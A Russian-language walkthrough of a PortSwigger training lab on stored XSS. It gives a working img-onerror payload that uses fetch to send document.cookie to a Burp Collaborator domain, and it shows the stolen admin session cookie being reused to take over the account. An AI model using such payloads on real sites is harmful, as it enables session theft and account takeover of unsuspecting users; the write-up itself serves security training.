На странице
Кража cookie через Stored XSS
Уязвимость
Stored XSS — уязвимость, при которой пользовательский ввод сохраняется на сервере и без должной фильтрации возвращается другим пользователям в составе HTML-страницы. Если жертва — авторизованный пользователь, атакующий может получить её session-cookie и захватить аккаунт.
Лаборатория
Название: Exploiting cross-site scripting to steal cookiesСложность: Practitioner Цель: Внедрить полезную нагрузку в комментарий, перехватить cookie администратора и войти в его аккаунт.
Разведка
Закидываем стандартный набор символов <>"'\ во все поля формы комментария. Поле Comment уязвимо — символы возвращаются без экранирования. Остальные поля (name, email, website) фильтруются.
Эксплуатация
Шаг 1 — Выбор payload
Запрос на внешний хост можно сделать из обработчика события через несколько конструкций:
fetch('URL?c=' + document.cookie)
new Image().src = 'URL?c=' + document.cookie
this.src = 'URL?c=' + document.cookie // переиспользуем сам тег
Шаг 2 — Burp Collaborator
Свой сервер не отвечал, поэтому используем встроенный Burp Collaborator — он генерирует одноразовый домен и фиксирует все входящие запросы.
Получаем адрес вида zvy0sc79xmo6lmcgsthr3j4i2980wqkf.oastify.com и собираем payload:
<img src="x" onerror="fetch('https://zvy0sc79xmo6lmcgsthr3j4i2980wqkf.oastify.com/?c='+document.cookie)" />
Отправляем как комментарий.
Шаг 3 — Получение cookie
В Collaborator прилетает запрос:
GET /?c=secret=PZYFKXdyeAbf5tKe8hyPZjKqR97bGzl9;%20session=0Ppv65ScgeSsMYw0pa0gL6XcFtXLbEba HTTP/1.1
Берём значение session, подставляем в свои cookie через DevTools — заходим как администратор. Лаба решена.
Ещё в этой категории
Эксплуатация небезопасной десериализации через функции приложения (PortSwigger Lab)
Подмена поля `avatar_link` в объекте сессии для удаления произвольного файла через функцию удаления аккаунта.
Изменение типов сериализованных данных (PortSwigger Lab)
Эксплуатируем нестрогое сравнение PHP, меняя тип `access_token` на целое `0` и обходя аутентификацию.
Изменение сериализованных объектов (PortSwigger Lab)
Меняем булево поле `admin` в PHP-сериализованной куке сессии и получаем права администратора.